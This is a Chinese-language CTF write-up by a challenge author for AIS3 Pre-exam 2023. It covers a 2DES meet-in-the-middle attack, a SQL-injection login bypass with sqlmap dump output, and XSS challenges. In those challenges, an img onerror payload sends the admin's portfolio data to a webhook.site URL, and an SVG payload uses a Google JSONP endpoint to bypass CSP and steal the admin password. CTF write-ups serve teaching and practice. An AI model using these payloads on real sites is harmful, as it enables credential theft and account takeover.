AIS3 Pre-exam 2023 Write-up

AIS3 Pre-exam 2023 Write-up

Ching367436 Bamboofox 社長

我出的題目

Crypto

2DES

題目連結

  • 解題人數
    • MyFirstCTF: 1 / 111 (score >= 100)
    • Pre-exam: 21 / 256 (score >= 100)

這題考的 Meet-in-the-Middle attack,相信直接搜尋 2DES 就可以知道解題方向。為了怕題目太無聊,所以還加入了需要知道 DES 的一些性質的考點(不知道這個還是解的了)。

題目

首先題目會隨機生成 key1 key2,其中每個 byte 的前 4 個 bits 都被固定成 1

1
2
3
4
5
6
7
8
9
// Generate key and IV
const key1 = crypto.randomBytes(8)
const key2 = crypto.randomBytes(8)
const iv = Buffer.concat([Buffer.from('AIS3 三')])

for (let i = 0; i < 8; i++) {
key1[i] = key1[i] | 0b11110000
key2[i] = key2[i] | 0b11110000
}

接著會把用 key1 key2 加密兩層後的 FLAG 以及 hint_pt 印出來,要透過 res hint_pt hint iv 想辦法解出 FLAG

1
2
3
4
5
6
7
res = encrypt(encrypt(FLAG, key1, iv), key2, iv)
hint = encrypt(encrypt(hint_pt, key1, iv), key2, iv)

console.log(`let res = '${res.toString('hex')}'`)
console.log(`let hint_pt = '${hint_pt.toString('hex')}'`)
console.log(`let hint = '${hint.toString('hex')}'`)
console.log(`let iv = '${iv.toString('hex')}'`)
題解

只要取得 key1 key2 就可直接解出 FLAG,直接列舉 key1 key2 的話會有 種可能,所以是不可行的。

Meet-in-the-Middle

這邊可以利用 meet-in-the-middle attack 幫我們把時間複雜度開個根號,具體如下。

首先要先知道 encrypt(hint_pt, key1, iv)decrypt(hint, key2, iv) 會是相等的 –(1)。

利用這個特性,我們先列舉出所有可能的 middle=encrypt(hint_pt, key1, iv)(透過列舉 key1 來達成),需花費 的時間。

接著來列舉 decrypt(hint, key2, iv),由於(1),所以當 key2 是正確的時候,一定可以在 middle 裡面找到 decrypt(hint, key2, iv),所以那個 middle 所對應到的 key1 key2 就很可能是正確的,這步驟最多需列舉 key2,每次找尋 middle 若使用的是 Javascript 的 map 或 Python 的 dict 所花的時間在一般情況下會是 ,所以此步驟需花費 的時間。

所以所需花的時間從原本的 變成了 ,變的看起來可行了。

不過還有一個問題:存 種可能的 middle 會耗掉太多空間然後噴錯(有人還把這個做成梗圖)。

DES Key Transformation

DES 在拿到 64 bits 的 key 的時候,會把一些東西丟掉變成 56 bits 的 key,所以實際上需要列舉的 key1 key2 其實可以更少。

DES 的 64 bits 的 key 中,第 8, 16, 24, 32, 40, 48, 56, 64 個 bit 是會被丟掉的,不會影響到加解密,所以需列舉的 key1 key2 其實各只有 種。

提供我的 Javascript 及 Python 解,都可在 200 秒內於我的電腦上跑出結果,Javascript 比較快。

Javascript 解

Python 解

這題也有人不透過 DES Key Transformation 的特性來解:既然存 個 middle 會出錯,那就只存隨機挑的一部分就好了,存到電腦可負荷的量就好,這樣也有高機率解的出來。

Web

Login Panel

題目 source code

  • 解題人數
    • MyFirstCTF: 24 / 111 (score >= 100)
    • Pre-exam: 139 / 256 (score >= 100)

這題是 web 的 welcome 題,是來送大家分數的。進來會看到 CTF 很常出現的 login panel。

這題比賽時有提供 source code 所以大家可以不用通靈題目有什麼洞,直接來看看登入部分的 code

看到下方的第 3 行,使用者提供的 usernamepassword 直接被放進 SQL 的語句內,所以有明顯的 SQL injection 漏洞。

需要注意的一點是第 6 行還會檢查使用者提供的 username 要跟 SQL query 出來的 row.username 相等才能成功登入。知道這些就可以來想辦法登入了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app.post('/login', recaptcha.middleware.verify, (req, res) => {
const { username, password } = req.body
db.get(`SELECT * FROM Users WHERE username = '${username}' AND password = '${password}'`, async (err, row) => {
if (err) return res.redirect(`https://www.youtube.com/watch?v=dQw4w9WgXcQ`)
if (!row) return res.redirect(`/login?msg=invalid_credentials`)
if (row.username !== username) {
// special case
return res.redirect(`https://www.youtube.com/watch?v=E6jbBLrxY1U`)
}
if (req.recaptcha.error) {
console.log(req.recaptcha.error)
return res.redirect(`/login?msg=invalid_captcha`)
}
req.session.username = username
return res.redirect('/2fa')
})
})

我們只需要將 username 設成 adminpassword 設成 ' or ''=' SQL 語句就會變成下面這樣。所有在 Users 裡面的 row 都符合這個條件,加上使用的是 db.get 所以會回傳符合條件的第一個欄位,也就是 admin 的那個 row。

這個 payload 也可以通過第 6 行的檢查,所以就能成功登進去 admin 的帳戶了。有人一直繞不過第 6 行的檢查還被做成梗圖

1
SELECT * FROM Users WHERE username = 'admin' AND password = '' or ''=''

進去後會看到 2FA 頁面,我們先來檢查他的 2FA 功能有沒有洞,因為 source 裡面有說 flag 在 /dashboard 裡面,直接來看 dashboard 的 code

看到下方 /dashboard 的部分,他根本沒去驗 2FA 認證有沒有通過,只有看 req.session.username,而 req.session.username 在成功登入的時候就已被設成 admin 了,所以登入到 2FA 頁面後直接訪問 /dashboard 就可以看到 flag 了。

1
2
3
4
5
6
7
8
9
app.get('/dashboard', (req, res) => {
if (req.session.username) {
return res.render('dashboard', {
username: req.session.username,
flag: FLAG
})
}
return res.redirect('/')
})

然後這題雖然有裝 reCAPTCHA 但其實沒有裝好,所以可以直接用 sqlmap 把資料庫直接 dump 出來,只是有些地方要按對才挖的出來。

1
sqlmap http://url/login --data "username=admin*&password=p" --level 5 --risk 3 --dump

執行上面這個的時候,會被問到下面這類問題,這邊要按 n,因為有些時候會把 sqlmap 導到 Youtube 造成 sqlmap 會有錯誤的判斷。

1
got a 302 redirect to 'http://xxx/'. Do you want to follow? [Y/n]

把資料庫 dump 出來後就直接拿去正常登入就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - comment)
Payload: username=admin%' OR NOT 1853=1853-- aGKT&password=p

Type: time-based blind
Title: SQLite > 2.0 OR time-based blind (heavy query)
Payload: username=admin%' OR 7991=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND 'wNiy%'='wNiy&password=p
...
Database: <current>
Table: Users
[2 entries]
+----+----------------+---------------------------------+----------+
| id | code | password | username |
+----+----------------+---------------------------------+----------+
| 1 | 47428350415632 | e1a5654762d385c8 | admin |
| 2 | 99999999999999 | guest | guest |
+----+----------------+---------------------------------+----------+

這題最初是想做成只能用 boolean-based blind 挖資料庫,讓大家繞 reCAPTCHA 才能解的,不過我沒去擋 row.password 所以可以用簡單的方法解出。

E-portfolio baby

題目 source code

  • 解題人數
    • MyFirstCTF: 0 / 111 (score >= 100)
    • Pre-exam: 35 / 256 (score >= 100)

題目 註冊 / 登入 後會來到 Edit Portfolio 的頁面,像下面這樣。

按下 Share 後可以看到輸入的 portfolio 的 HTML 被 render 出來了。而這個頁面正是按下 Share your portfolio with admin 後,admin 會拜訪的頁面,要透過這個頁面的 XSS 偷走 admin 的密碼。

source code 裡,也就是下面的第 7 行用了 innerHTML,而 data.data.about 也是我們可完全控制的,所以表示我們能 XSS。

1
2
3
4
5
6
7
8
9
10
11
12
13
<script nonce="<%= it.nonce %>">
fetch(`/api/share${location.search}`)
.then(res => res.json())
.then(data => {
if (data.success) {
username.innerHTML = data.data.username
about.innerHTML = data.data.about
avatar.src = data.data.avatar
} else {
alert(data.message)
}
})
</script>

有 XSS 後還需要找到能偷 密碼 的地方,剛好 /api/portfolio 可以拿到使用者的密碼,因為他用了 SELECT *,這個送密碼到前端是 Copilot 寫的洞,如果我沒注意到這題就會變成超級水題。

1
2
3
4
5
6
7
8
9
10
11
app.get("/api/portfolio", (req, res) => {
if (!req.session.username)
return res.status(401).json({ success: false, message: "Unauthorized" })
db.get("SELECT * FROM Users WHERE username = ?", req.session.username, (err, row) => {
if (err)
return res.status(500).json({ success: false, message: "Internal server error" })
if (!row)
return res.status(404).json({ success: false, message: "Not found" })
return res.json({ success: true, data: row })
})
})

這裡我們使用下方的 code 設成我們的 portfolio 來觸發 XSS,注意因為這個 XSS 的點是 innerHTML,所以直接插入 <script> 是不會被執行的,這裡有說明為什麼不行 https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML#security_considerations。

下面的 script 做的是就是把使用者的資料送到 webhook.site,儲存後按下 Share your portfolio with admin,admin 拜訪後他的資料就會被送來我們這邊,flag 就在裡面,結果在下面那張圖片裡。也有另一種送資料的方式:把資料設成自己的 portfolio。

1
2
3
4
5
6
7
<img src=x onerror="
fetch('/api/portfolio')
.then(function (res) { return res.json() })
.then(function (data) {
location = `https://webhook.site/e4d998ee-e522-4327-a277-9fa10b77e43a?${JSON.stringify(data)}`
});
">

另外看到有一些人選擇偷 cookie,但 connect.sid 是設成了 http only,所以 Javascript 在一般情況下是拿不到這個跟登入狀態有關的 cookie 的。

另外在 MyFirstCTF 結束後我有上台分享大家都在 portfolio 裡面放了什麼,那份簡報在這裡

另外這題 admin 的使用者名稱不叫作 admin,所以會看到有人會把 admin 註冊起來然後放假的 flag,很多人中計。

E-portfolio

題目 source code

  • 解題人數
    • Pre-exam: 2 / 256 (score >= 100)

其實原本沒有 E-Portfolio baby 這題,是 MyFirstCTF 題不夠才把 E-portfolio 簡化成新的一題。

這題跟 E-Portfolio baby 的差別只有多了 CSP DOMPurify 的防護而已。

前一題的所有 innerHTML 的地方 都被加上了 DOMPurify.sanitize,所以這些地方就很難 XSS 了,不過我們還有可以上傳圖片的地方,可以試試 SVG XSS。

1
2
3
4
5
6
7
8
9
10
11
12
13
<script nonce="<%= it.nonce %>">
fetch(`/api/share${location.search}`)
.then(res => res.json())
.then(data => {
if (data.success) {
username.innerHTML = DOMPurify.sanitize(data.data.username)
about.innerHTML = DOMPurify.sanitize(data.data.about)
avatar.src = data.data.avatar
} else {
alert(data.message)
}
})
</script>

使用者上傳圖片之後會被 host 到 /avatars/<MD5 hash>.<ext>,所以確實可以 SVG XSS。

要 XSS 之前我們還需要 bypass CSP 。把網站設置的 CSP 拿到 CSP Evaluator 看看有哪些地方可以用來 XSS,發現 'script-src'https://*.google.com 可以利用。

可以使用下面這個 endpoint,把 XSS payload 放到 ?callback 裡就能用了,那個網址的回應如下二所示,可看到我們的 fetch('/api/portfolio'); 被放進回應裡,而且是個可正常執行的 Javascript。

1
https://accounts.google.com/o/oauth2/revoke?callback=fetch(%27/api/portfolio%27);
1
2
3
4
5
6
7
8
9
// API callback
fetch('/api/portfolio');({
"error": {
"code": 400,
"message": "Invalid JSONP callback name: 'fetch('/api/portfolio');'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
"status": "INVALID_ARGUMENT"
}
}
);

所以解題步驟如下:

  1. 把下面這個 SVG 設成自己的 avatar,他做的事情就是把使用者密碼存到自己的 portfolio 裡面。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<svg xmlns="http://www.w3.org/2000/svg">
<script href="https://accounts.google.com/o/oauth2/revoke?callback=fetch('/api/portfolio')
.then(function (res) { return res.json() })
.then(function (data) {
if (data.success) {
const ADMIN_PASSWORD = data.data.password;
fetch('/api/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
username: 'c9dec36a35e1f8723cdcbbbad50123f3',
password: 'f7e2ca2336d33b6509656bb3581f0fa0'
})
})
.then(function (res) {
const formData = new FormData();
formData.append('about', ADMIN_PASSWORD);
fetch('/api/portfolio', {
method: 'PUT',
body: formData
})
})
}
});"></script>
</svg>
  1. 把剛上傳好的 /avatars/<MD5 hash>.svg 網址記下來,如果直接拜訪 /avatars/<MD5 hash>.svg 可以確認 XSS 確實被觸發。

    所以要把 /avatars/<MD5 hash>.svg 送給 admin,需要蓋過原本 Share your portfolio with admin 的網址 ,其實只需把 onReport 蓋成送我們的 /avatars/<MD5 hash>.svg 的網址,像下面這樣。(之所以是蓋 onReport 的原因是因為 reCAPTCHA 的配置 關係)。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    function onReport(token) {
    const url = new URL(`/avatars/8209116d30ade81ae5c2793d3d8ed4cf.svg`, location)
    fetch('/api/report', {
    method: 'POST',
    headers: {
    'Content-Type': 'application/json'
    },
    body: JSON.stringify({ url: url.href, 'g-recaptcha-response': token }),
    })
    .then(res => res.json())
    .then(data => {
    if (data.success)
    alert('Request sent!')
    else
    alert(data.message)
    grecaptcha.reset();
    })
    }
  2. 登入我們剛剛用來收資料的帳戶可以看到 portfolio 已經被設成 flag 了。

  • Title: AIS3 Pre-exam 2023 Write-up
  • Author: Ching367436
  • Created at : 2023-06-06 15:44:47
  • Link: https://blog.ching367436.me/ais3-pre-exam-2023-write-up/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
AIS3 Pre-exam 2023 Write-up